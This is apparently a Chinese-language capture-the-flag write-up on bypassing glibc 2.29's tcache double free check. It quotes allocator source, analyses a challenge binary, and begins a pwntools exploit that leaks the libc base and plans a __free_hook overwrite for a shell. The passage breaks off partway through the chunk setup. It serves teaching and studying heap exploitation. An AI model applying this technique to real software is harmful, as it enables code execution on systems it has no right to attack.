/* Caller must ensure that we know tc_idx is valid and there's room for more chunks. */ static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); /* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */ e->key = tcache; // 写入tcache_perthread_struct地址 e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
/* Caller must ensure that we know tc_idx is valid and there's available chunks to remove. */ static __always_inline void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->counts[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL; // 清空 return (void *) e; }
staticvoid _int_free (mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size; /* its size */ mfastbinptr *fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */
...
#if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { /* Check to see if it's already in the tcache. */ tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100% trust it (it also matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an unlikely coincidence before aborting. */ if (__glibc_unlikely (e->key == tcache)) // 检查是否为tcache_perthread_struct地址 { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) // 检查tcache中是否有一样的chunk malloc_printerr ("free(): double free detected in tcache 2"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ } ...
首先_int_free会检查chunk的key是否为tcache_perthread_struct地址,然后会遍历tcache,检查此chunk是否已经在tcache中,如有则触发malloc_printerr报错free(): double free detected in tcache 2。
简单总结一下,2.29下tcache触发double free报错的条件为:
1
e-key == &tcache_perthread_struct && chunk in tcachebin[chunk_idx]
利用堆溢出,修改chunk的size,最差的情况至少要做到off by null。留意到_int_free里面判断当前chunk是否已存在tcache的地方,它是根据chunk的大小去查指定的tcache链,由于我们修改了chunk的size,查找tcache链时并不会找到该chunk,满足free的条件。虽然double free的chunk不在同一个tcache链中,不过不影响我们使用tcache poisoning进行攻击。
v5 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); puts("From Zero to Hero"); puts("So, you want to be a hero?"); buf[read(0, buf, 0x14uLL)] = 0; if ( buf[0] != 'y' ) { puts("No? Then why are you even here?"); exit(0); } puts("Really? Being a hero is hard."); puts("Fine. I see I can't convince you otherwise."); printf("It's dangerous to go alone. Take this: %p\n", &system); while ( 1 ) { while ( 1 ) { menu(); printf("> "); v3 = 0; __isoc99_scanf("%d", &v3); getchar(); if ( v3 != 2 ) break; delete(); } if ( v3 == 3 ) break; if ( v3 != 1 ) goto LABEL_11; add("%d", &v3); } puts("Giving up?"); LABEL_11: exit(0); }
攻击流程思考:首先,这个程序没有UAF,因此上面提到的第一个绕过思路在这里行不通。题目存在off by null,刚好满足思路2的最低要求,而且free后没清空指针,可以直接触发double free。那么思路很明确了,通过off by null对下一个chunk的size复写最低位,修改chunk的大小,从而绕过libc-2.29的double free检测,由于题目开了Full RELRO,可以通过修改__free_hook为one_gadget或system进行getshell。下面开始构造exp。
程序开头会询问you want to be a hero?,直接回复y就好了,然后非常友好地提供了system的运行地址,提取后计算出libc基址即可。
1 2 3 4 5
p.sendlineafter('hero?','y') p.recvuntil(': ') system = int(p.recvline().strip(), 16) libc.address = system - libc.symbols['system'] success("libc.addres : {:#x}".format(libc.address))
然后创建两个大小不同的chunk,分别为0x58和0x100。前面一个chunk需要申请0x10*n+8的大小,要让这个chunk最后8字节跟下一个chunk的size连接上。而下一个chunk的大小要大于0x100且大小不为0x100整数倍,因为我们只有off by null,要确保最低位写0后,size不为0且大小改变。